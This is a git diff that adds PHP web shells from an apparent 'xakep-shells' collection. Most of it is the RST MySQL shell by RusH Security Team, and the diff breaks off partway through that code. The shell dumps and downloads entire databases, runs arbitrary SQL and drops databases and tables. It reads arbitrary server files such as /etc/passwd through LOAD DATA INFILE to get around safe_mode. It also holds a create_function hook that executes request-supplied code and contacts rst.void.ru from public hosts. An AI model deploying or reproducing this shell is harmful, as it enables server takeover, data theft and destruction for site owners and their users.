+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/sql.php.php.txt b/xakep-shells/PHP/sql.php.php.txt
new file mode 100644
index 0000000..5e90346
--- /dev/null
+++ b/xakep-shells/PHP/sql.php.php.txt
@@ -0,0 +1,1694 @@
+$v) {
+ if($k!='GLOBALS') {
+ strips($el[$k]);
+ }
+ }
+ } else {
+ $el = stripslashes($el);
+ }
+}
+if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
+ $file = "C:\\tmp\\dump_".$db.".sql";
+ $p_v=$SystemRoot."\my.ini";
+ $os="win";
+} else {
+ $file = "/tmp/dump_".$db.".sql";
+ $p_v="/etc/passwd";
+}
+if ($HTTP_GET_VARS['send']=='send_http') {
+function download($file, $type = false, $name = false, $down = false) {
+if(!file_exists($file)) exit;
+if(!$name) $name = basename($file);
+if($down) $type = "application/force-download";
+else if(!$type) $type = "application/download";
+$disp = $down ? "attachment" : "inline";
+header("Content-disposition: ".$disp."; filename=".$name);
+header("Content-length: ".filesize($file));
+header("Content-type: ".$type);
+header("Connection: close");
+header("Expires: 0");
+set_time_limit(0);
+readfile($file);
+unlink($file);
+exit;
+}
+if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ if (sizeof($tabs) == 0) {
+ // ïîëó÷àåì ñïèñîê òàáëèö áàçû
+ $res = mysql_query("SHOW TABLES FROM $db", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_row($res)) {
+ $tabs[] .= $row[0];
+ }
+ }
+ }
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_GET_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
+ foreach($tabs as $tab) {
+ if ($add_drop) {
+ fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
+ }
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
+ $row = mysql_fetch_row($res);
+ fputs($fp, $row[1].";\n\n");
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tab`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+ fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
+ }
+ fclose($fp);
+}
+if ($HTTP_GET_VARS['strukt']=='d_strukt'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_GET_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+
+ fclose($fp);
+}
+if ($HTTP_GET_VARS['strukt']=='t_strukt'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_GET_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+ fclose($fp);
+}
+if ($HTTP_GET_VARS['strukt']=='d'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+ $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $fp = fopen($file, "w");
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+ fclose($fp);
+}
+download($f_dump);
+}
+function send_header() {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+}
+if ($HTTP_GET_VARS['img']=='st_form_bg') {
+ $st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';
+ send_header();
+ echo base64_decode($st_form_bg);
+}
+if ($HTTP_GET_VARS['img']=='bg_f') {
+$bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'.
+ 'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BA'.
+ 'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs=';
+ send_header();
+ echo base64_decode($bg_f);
+}
+if ($HTTP_GET_VARS['img']=='b_close') {
+$b_close='R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k4AOK0'.
+ '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
+ 'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
+ 'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
+ 'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
+ 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
+ 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
+ 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
+ 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
+ send_header();
+ echo base64_decode($b_close);
+}
+$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
+$h_error="Îøèáêà â çàïðîñå: ";
+$f_error="
+
+
+
+
+
+
+
+
+ free script ©RusH Security Team
+
+
+
+
+
+ ";
+
+ print "
+ RST MySQL
+
+
+ ";
+
+
+if ($sapi_type == "cgi") {
+ $php_type="CGI";
+} else {
+ $php_type="ìîäóëü";
+}
+
+$form_file="
+ ";
+
+$start_form="
+
+
+
+
+
+
+
+
+ Ņ
+
+
+ RST MySQL v(2.0)
+
+
+ ".date ("j F- Y- g:i")."
+
+
+
+
+
+
+
+
+
+
+
+
+ Óòèëèòà äëÿ ðàáîòû ñ MySQL
+ Ïðîñìîòð áàç è òàáëèö.
+ Ïðîèçâîëüíûå çàïðîñû ê ÁÄ.
+ Ðåäàêòèðîâàíèå áàç è òàáëèö.
+ Äàìïû ÁÄ èëè òàáëèö.
+ Type - FREE
+ Home page: http://rst.void.ru
+ ¨
+
+
+ Äëÿ ñîåäèíåíèÿ ñ ñåðâåðîì MySQL ââåäèòå ÈÌß , ÏÀÐÎËÜ (ïîëüçîâàòåëÿ MySQL) è èìÿ ÕÎÑÒÀ .
+ Åñëè ëîãèí þçåðà mysql íå óêàçàí ÿâíî, ïî óìîë÷àíèþ ïîäñòàâëÿåòñÿ èìÿ âëàäåëüöà ïðîöåññà.
+ Åñëè ïàðîëü þçåðà mysql íå óêàçàí ÿâíî, ïî óìîë÷àíèþ ïîäñòàâëÿåòñÿ ïóñòîé ïàðîëü.
+ Åñëè èìÿ ñåâðâåðà mysql íå óêàçàíî ÿâíî, ïî óìîë÷àíèþ ïîäñòàâëÿåòñÿ localhost
+ Åñëè ïîðò äëÿ ñåâðâåðà mysql íå óêàçàí ÿâíî, ïîäñòàâëÿåòñÿ ïîðò ïî óìîë÷àíèþ, îáû÷íî (3306 )
+ Âåðñèÿ PHP (".phpversion()." ) ID PHP script (".GET_current_user( )." )
+
+
+
+
+
+
+
+
+
+
+
+
+ free script ©RusH Security Team
+
+
+
+
+
+
(coded by dinggo)
+";
+
+if ($os =='win') {
+$os="OS- ".$HTTP_ENV_VARS["OS"]." ";
+}else{
+ $str_k=$_ENV["BOOT_FILE"];
+ $k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
+ $os="OS\Kernel: ".$_ENV["BOOT_IMAGE"].$k." ";
+
+}
+
+if (!isset($s) || $HTTP_GET_VARS[s] != 'y') { print $start_form;
+ $serv = array(127,192,172,10);
+ $adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
+ if (!in_array($adrr[0], $serv)) {
+ //ïðè ïîÿâëåíèè íîâîé âåðñèè óòèëèòû ïîêàæåì ÷òî äîñòóïíà
+ //íîâàÿ âåðñèÿ è ïðåäëîæèì çàãðóçèòü åå ñ ñàéòà
+ @print " ";
+ @readfile ("http://rst.void.ru/version_sql/version.php");
+ }
+exit;
+}
+
+$form_ad_b="
+
+
+
+
+
+ MySQL $server v.(".mysql_GET_server_info()." )
+
+
+ ".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."
+
+
+ Âåðñèÿ PHP (".phpversion()." ) $php_type
+
+
+
+
+ IP:".$HTTP_SERVER_VARS["SERVER_ADDR"]." Name:".$HTTP_SERVER_VARS["SERVER_NAME"]."
+
+
+ ID PHP script (".GET_current_user( )." )
+
+
+ $os
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+";
+
+$cnt_b=mysql_num_rows(mysql_list_dbs()); // êîë-âî áàç mysql ñåðâåðà
+print "
+
+
+
+
+
+
+
+
+ Ņ
+
+
+ RST MySQL
+
+
+ $server [CONNECTION Ok] Âñåãî áàç: $cnt_b
+
+
+ ".date ("j F- Y- g:i")."
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
+ $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header Îøèáêà ñîåäèíåíèÿ ñ MySQL ñåðâåðîì $server ".mysql_error()." Âåðîÿòíûå îøèáêè: Íå ïðàâèëüíûé àäðåñ ñåðâåðà $server Íå ïðàâèëüíûé íîìåð ïîðòà $port Íå âåðíîå èìÿ (login) þçåðà mysql $login Íå âåðíûé ïàðîëü (password) þçåðà mysql $passwd Äîñòóï ê ñåðâåðó $server çàïðåùåí ñ àäðåñà ".GETenv('REMOTE_ADDR')." Óäàëåííûé ñåðâåð âðåìåííî íå äîñòóïåí
");
+}
+
+
+/*---------------------- L E F T B L O C K (menu bd)! -------------------*/
+/*Ïîêàçàòü âñå áàçû ñåðâåðà*/
+if ($connection&&!isset($db)) {
+ print "";
+
+ $result = mysql_list_dbs($connection) or die("$h_error".mysql_error()." $f_error");
+ while ( $row=mysql_fetch_row($result) ){
+ $cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //êîë-âî òàáëèö áàçû
+ print "";
+ if ($cnt_title < 1) {
+ print "$row[0] ";
+ }else{
+ print "$row[0] ";
+ }
+ print "
";
+ }
+}
+
+// ñïèñîê òàáëèö áàçû äàííûõ
+if (isset($db)){
+ $result=mysql_list_tables($db) or die ("$h_error".mysql_error()." $f_error ");
+ print "";
+
+ print "".
+ "---[ $db ".
+ " ]---
";
+
+ while ( $row=mysql_fetch_array($result) ){
+ //ïîëó÷àåì êîëè÷åñòâî ñòðîê(çàïèñåé) â òàáëèöå
+ $count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
+ $count_row= mysql_fetch_array($count);
+ print "".
+ "";
+ if ($count_row[0] < 1) {
+ print "$row[0] ($count_row[0])
";
+ }else{
+ print "$row[0] ($count_row[0])
";
+ }
+ @mysql_free_result($count);
+ }
+}
+
+/*---------------------- END L E F T B L O C K (menu bd)! -------------------*/
+
+print "
+
+ ";
+
+/*------------------------ R I G H T B L O C K ! -----------------------*/
+if ($connection&&!isset($db)) {
+$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
+if (mysql_num_rows($anon)>0) { print "Âíèìàíèå! Àíîíèìíûì ïîëüçîâàòåëÿì ðàçðåøåíî ïîäêëþ÷åíèå ê ñåðâåðó MySQL
"; }
+print $form_ad_b;
+}
+/*-------------Ïðîöåññû MySql------------*/
+if (isset($proc) && $proc=="TRUE"){
+$result = mysql_query("SHOW PROCESSLIST", $connection);
+ print "Ïðîöåññû MySQL ñåðâåðà [ $server ] ID USER HOST DB COMMAND TIME STATE INFO ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ print "$row[0] $row[1] $row[2] $row[3] $row[4] $row[5] $row[6] $row[7] ";
+ }
+ print "
";
+ mysql_free_result($result);
+ unset($proc);
+}
+
+/*Ñîçäàåì íîâóþ áàçó*/
+if (isset($HTTP_GET_VARS['new_db'])){
+ $new_db=trim($HTTP_GET_VARS['new_db']);
+ if (mysql_create_db ($new_db)) {
+ print ("Áàçà $new_db óñïåøíî ñîçäàíà ");
+ print " ";
+ } else {
+ print "$h_error".mysql_error()."$f_error ";
+ }
+ unset($new_db);
+}
+
+/*Óäàëåíèå áàçû*/
+if (isset($HTTP_GET_VARS['drop'])){
+ $result_d = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error ");
+ while ( $row_d=mysql_fetch_row($result_d) ){
+ if ($drop==$row_d[0]) $dr="TRUE";
+ }
+ if ($dr="TRUE") {
+ mysql_drop_db($drop,$connection);
+ print ("Áàçà $drop óñïåøíî óäàëåíà ");
+ print " ";
+ }
+unset($drop);
+}
+
+/*-------------×èòàåì ïðîèçâîëüíûé ôàéë ñåðâåðà-----------*/
+if (isset($f)){
+print $form_file;
+}
+if(isset($p_file)){
+ mysql_create_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
+ mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error".mysql_error()." $f_error");
+ mysql_query("LOAD DATA INFILE \"".addslashes($p_file)."\" INTO TABLE tmp_file");
+ $query = "SELECT * FROM tmp_file";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ /*ïîëó÷àåì íàçâàíèÿ ñòîëáöîâ*/
+ for ($i=0;$i$name
+
+
+
+
+
+
+
+ Ïîëíûé ïóòü ê ôàéëó:
+
+ ";
+ while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
+ foreach ($line as $key =>$col_value) {
+ print htmlspecialchars($col_value)." ";
+ }
+ }
+ mysql_free_result($result);
+ print " ";
+ mysql_drop_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
+}
+
+/*--------------ïåðåìåííûå ñåðâåðà Apache------------*/
+if (isset($apc) && $apc=="TRUE"){
+ print "Ïåðåìåííûå ñåðâåðà Apache [ $server ]
+
+
+ Îïèñàíèå Ïåðåìåííàÿ
+
+ Èìÿ Internet-õîñòà ".$HTTP_SERVER_VARS["SERVER_NAME"]."
+ IP-àäðåñ õîñòà ".$HTTP_SERVER_VARS["SERVER_ADDR"]."
+ Ïîðò Web-ñåðâåðà. ".$HTTP_SERVER_VARS["SERVER_PORT"]."
+ Ñïåöèôèêàöèÿ CGI èíòåôåéñà. ".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."
+ Ïðîòîêîë ïðè çàïðîñå äàííîé ñòðàíèöû (ìåòîä). ".$HTTP_SERVER_VARS["REQUEST_METHOD"]."
+ Root äèðåêòîðèÿ äëÿ äàííîãî ïîëüçîâàòåëÿ. ".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."
+ Çàãîëîâîê òåêóùåãî çàïðîñà. ".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."
+ Äèðåêòèâà httpd.conf (SERVER_ADMIN). ".$HTTP_SERVER_VARS["SERVER_ADMIN"]."
+ Ñèãíàòóðà ñåðâåðà. ".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."
+
";
+ unset($apc);
+}
+
+/*---------------Ñòàòèñòèêà MySQL ñåðâåðà--------------*/
+if (isset($stat) && $stat=="TRUE"){
+$result = mysql_query("SHOW STATUS", $connection);
+ print "Ïåðåìåííûå ñîñòîÿíèÿ MySQL ñåðâåðà [ $server ] Ïåðåìåííûå ñîñòîÿíèÿ ñåðâåðà çíà÷åíèÿ ïåðåìåííûõ ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ print "$row[0] $row[1] ";
+ }
+ print "
";
+ mysql_free_result($result);
+}
+
+/*---------------Ñèñòåìíûå ïåðåìåííûå MySQL ñåðâåðà--------------*/
+if (isset($var) && $var=="TRUE"){
+$result = mysql_query("SHOW VARIABLES ", $connection);
+ print "Ñèñòåìíûå ïåðåìåííûå MySQL ñåðâåðà [ $server ] Ïåðåìåííûå ñåðâåðà çíà÷åíèÿ ïåðåìåííûõ ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ print "$row[0] $row[1] ";
+ }
+ print "
";
+ mysql_free_result($result);
+unset($var);
+}
+
+/*-------------âûâîä äàííûõ òàáëèö------------*/
+if (isset($db) && !isset($tbl)) {
+$cnt=mysql_num_rows(mysql_list_tables($db)); //êîë-âî òàáëèö áàçû
+ print "
+
+
+
+
+
+
+ ";
+ print " ÁÄ:($db ) Âñåãî òàáëèö:($cnt )";
+ if (isset($t)) { print " ".base64_decode($t);}
+ if (isset($t2)) { print base64_decode($t2);}
+/*-------------Ñòðóêòóðà áàçû ------------------*/
+if (isset($str) && $str=='TRUE'){
+ mysql_select_db($db);
+ if ($cnt < 1) {
+ print "".
+ "Íåâîçìîæíî ïîêàçàòü ñòðóêòóðó áàçû Â áàçå ".
+ "$db íåò òàáëèö!
";
+ }else{
+ $result = mysql_query("SHOW TABLE STATUS", $connection);
+ print "Ñòðóêòóðà áàçû [ $db ] ".
+ "".
+ "èìÿ òàáëèöû òèï ðÿäîâ ñîçäàíà ".
+ "ìîäèôèöèðîâàíà ðàçìåð(kb) äåéñòâèå ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ $size=$row[5]/1000;
+ print "$row[0] $row[1] $row[3] ".
+ "$row[10] $row[11] $size ".
+ "óíè÷òîæèòü
+ ";
+ }
+ print "
";
+ mysql_free_result($result);
+ }
+}
+
+print "
+
+
";
+}
+
+/*------------äàìï áàçû----------------*/
+$form_dump_bd=
+"".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ";
+
+if ($HTTP_GET_VARS['dump']=='bd') {
+ if ($cnt >= 1) {
+ print $form_dump_bd;
+ }else{
+ print "".
+ "Íåâîçìîæíî ñäåëàòü äàìï áàçû Â áàçå ".
+ "$db íåò òàáëèö!
";
+ }
+}
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['send']=='send_br'){
+ if (sizeof($tabs) == 0) {
+ // ïîëó÷àåì ñïèñîê òàáëèö áàçû
+ $res = mysql_query("SHOW TABLES FROM $db", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_row($res)) {
+ $tabs[] .= $row[0];
+ }
+ }
+ }
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_GET_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
+ foreach($tabs as $tab) {
+ if ($add_drop) {
+ fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
+ }
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
+ $row = mysql_fetch_row($res);
+ fputs($fp, $row[1].";\n\n");
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tab`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+ fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
+ }
+ fclose($fp);
+ $dump_file=file($file);
+ print "";
+ print "";
+ foreach ($dump_file as $k=>$v) {
+ $v=str_replace("\n"," ",$v);
+ print "".strip_tags($v," ")." ";
+ }
+ print "
";
+ unlink($file);
+}
+
+/*--------------Ñîçäàòü íîâóþ òàáëèöó---------------*/
+ $form_cr_tbl=
+ "".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ";
+
+
+if (isset($HTTP_GET_VARS['cr_tbl']) && $HTTP_GET_VARS['cr_tbl']=='new'){
+ print "$form_cr_tbl";
+}
+if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) {
+ print "";
+ print "$form_cr_tbl";
+}
+
+if ( (ereg("[0-9]",$HTTP_GET_VARS['new_count_cols'])) && ($HTTP_GET_VARS['new_tbl_name'] !=='') ) {
+
+ for ($i=0; $i < $HTTP_GET_VARS['new_count_cols']; $i++) {
+
+ $pole_count .= "".
+ " ".
+ "
+
+ VARCHAR
+ TINYINT
+ TEXT
+ DATE
+ SMALLINT
+ MEDIUMINT
+ INT
+ BIGINT
+ FLOAT
+ DOUBLE
+ DECIMAL
+ DATETIME
+ TIMESTAMP
+ TIME
+ YEAR
+ CHAR
+ TINYBLOB
+ TINYTEXT
+ BLOB
+ MEDIUMBLOB
+ MEDIUMTEXT
+ LONGBLOB
+ LONGTEXT
+ ENUM
+ SET
+
+ ".
+ " ".
+ "
+
+
+ BINARY
+ UNSIGNED
+ UNS-D ZEROFILL
+
+ ".
+ "
+
+ not null
+ null
+
+ ".
+ " ".
+ "
+
+
+ auto_increment
+
+ ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ";
+ }
+
+ print
+ "".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ";
+}
+
+if (isset($HTTP_GET_VARS['field_name'])) {
+
+ for ($i=0; $i0) {
+ $n_prim=substr_replace($n_prim,"",-2);
+ $n_name .=", PRIMARY KEY ($n_prim)";
+ }
+ if (count($n_ind)) {
+ $n_ind=substr_replace($n_ind,"",-2);
+ $n_name .=", INDEX ($n_ind)";
+ }
+ if (count($n_uniq)) {
+ $n_uniq=substr_replace($n_uniq,"",-2);
+ $n_name .=", UNIQUE ($n_uniq)";
+ }
+
+ $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )";
+
+ if ($HTTP_GET_VARS['tbl_type'] !=='Default') {
+ $sql_new_tbl .= " TYPE =$tbl_type";
+ }
+ if ($HTTP_GET_VARS['comment'] !=='') {
+ $sql_new_tbl .= " COMMENT = '$comment'";
+ }
+
+ $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error");
+ $t=base64_encode("Action: Òàáëèöà [ $new_tbl_name ] óñïåøíî ñîçäàíà. ");
+ if ($HTTP_GET_VARS['php_kod']=='ok') {
+ $t2=base64_encode("PHP-êîä çàïðîñà: \$sql='$sql_new_tbl';
");
+ }else{ $t2=''; }
+ print " ";
+}
+
+/*--------------END cîçäàòü íîâóþ òàáëèöó---------------*/
+
+/*-------------Ïðîèçâîëüíûé çàïðîñ ê ÁÄ-------------*/
+if ($HTTP_GET_VARS['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; }
+if ($HTTP_GET_VARS['return_sql']=='ok') { $q_bd=trim($HTTP_GET_VARS['new_query_bd']);}
+$form_query_db="
+
+
+
+
+
+
+
+ ";
+
+if (isset($db) && $HTTP_GET_VARS['q_tbl']=='bd') {
+ print $form_query_db;
+}
+if (isset($new_query_bd)) {
+ $new_query_bd=trim($new_query_bd);
+ print $form_query_db;
+ if ($HTTP_GET_VARS['php_kod']=='ok') {
+ print " PHP-êîä çàïðîñà: \$sql=\"$new_query_bd\"; ";
+ }
+ $r_q_bd=mysql_db_query($db, $new_query_bd) or die("$h_error".mysql_error()."$f_error");
+
+ print " Çàïðîñ óñïåøíî âûïîëíåí";
+ if ($r_q_bd !=='') {
+ print "";
+ while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) {
+ print "";
+ foreach ($line_bd as $key_bd =>$col_value_bd) {
+ print "".htmlspecialchars($col_value_bd)." ";
+ }
+ print " ";
+ }
+ print "
";
+ @mysql_free_result($r_q_bd);
+ }
+}
+
+/*---------------Óäàëåíèå òàáëèöû------------*/
+if (isset($drop_table) && isset($db)){
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $query = "DROP TABLE IF EXISTS $drop_table";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ $t=base64_encode("Action: Òàáëèöà [ $drop_table ] óñïåøíî óäàëåíà. ");
+ print " ";
+ unset($drop_table);
+}
+if (isset($q_i)) { $n_img($tag,$f_n,$img_c); }
+
+if (isset($db) && isset($tbl)) {
+ /*Ïîëó÷àåì êîëè÷åñòâî ñòðîê â òàáëèöå*/
+ $count=mysql_query ("SELECT COUNT(*) FROM $tbl");
+ $count_row= mysql_fetch_array($count); //$count_row[0] êîë-âî ñòðîê
+ mysql_free_result($count);
+ print "
+
+
+
+
+
+
+ ";
+ if (isset($t)) { print " ".base64_decode($t);}
+ print " ÁÄ:($db ) Òàáëèöà:($tbl )
+ Âñåãî ñòðîê:($count_row[0] )
+
+
+
+
+
+
+ ";
+
+$start=$limit_start+$limit_count;
+
+if (isset($start) && ($start>0)) {
+ print "";
+}
+
+
+/*------------Ïåðåèìåíîâàíèå òàáëèöû------------*/
+if ($alter_table=="TRUE"){
+print "
+
+
+
+
+
+
+
+
+ ";
+}
+
+ if (isset($alttbl)){
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
